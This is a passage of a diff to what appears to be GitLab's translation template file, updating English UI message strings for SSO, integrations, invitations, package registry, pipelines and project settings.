msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
